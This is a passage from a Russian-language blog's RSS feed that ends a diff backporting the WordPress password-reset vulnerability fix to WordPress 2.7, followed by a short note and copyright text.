<span class="re8">+ &nbsp; &nbsp; &nbsp; return new WP_Error<span class="br0">&#40;</span>'invalid_key', __<span class="br0">&#40;</span>'Invalid key'<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+</span><br />
<span class="re8">+ &nbsp; $user = $wpdb-&gt;get_row<span class="br0">&#40;</span>$wpdb-&gt;prepare<span class="br0">&#40;</span>&quot;SELECT * FROM $wpdb-&gt;users WHERE user_activation_key = %s AND user_login = %s&quot;, $key, $login<span class="br0">&#41;</span><span class="br0">&#41;</span>;</span><br />
&nbsp; &nbsp; if <span class="br0">&#40;</span> empty<span class="br0">&#40;</span> $user <span class="br0">&#41;</span> <span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; return new WP_Error<span class="br0">&#40;</span>'invalid_key', __<span class="br0">&#40;</span>'Invalid key'<span class="br0">&#41;</span><span class="br0">&#41;</span>;<br />
&nbsp;<br />
<span class="re6">@@ -<span class="nu0">370</span>,<span class="nu0">7</span> +<span class="nu0">373</span>,<span class="nu0">7</span> @@</span><br />
&nbsp;<br />
&nbsp;case 'resetpass' :<br />
&nbsp;case 'rp' :<br />
<span class="re7">- &nbsp; $errors = reset_password<span class="br0">&#40;</span>$_GET<span class="br0">&#91;</span>'key'<span class="br0">&#93;</span><span class="br0">&#41;</span>;</span><br />
<span class="re8">+ &nbsp; $errors = reset_password<span class="br0">&#40;</span>$_GET<span class="br0">&#91;</span>'key'<span class="br0">&#93;</span>, $_GET<span class="br0">&#91;</span>'login'<span class="br0">&#93;</span><span class="br0">&#41;</span>;</span><br />
&nbsp;<br />
&nbsp; &nbsp; if <span class="br0">&#40;</span> ! is_wp_error<span class="br0">&#40;</span>$errors<span class="br0">&#41;</span> <span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; wp_redirect<span class="br0">&#40;</span>'wp-login.php?checkemail=newpass'<span class="br0">&#41;</span>;
        </div>
    </div>
</div>

<p>Патч нормально ложится на стандартный WordPress 2.7. Исправляется только <a href="http://blog.sjinks.pro/tag/vulnerability/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  уязвимость">уязвимость</a>, связанная со сбросом пароля.</p>
<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/wordpress/616-wordpress-2-8-4/">источник</a> обязательно.</p>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/wordpress/616-wordpress-2-8-4/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
	</channel>
</rss>

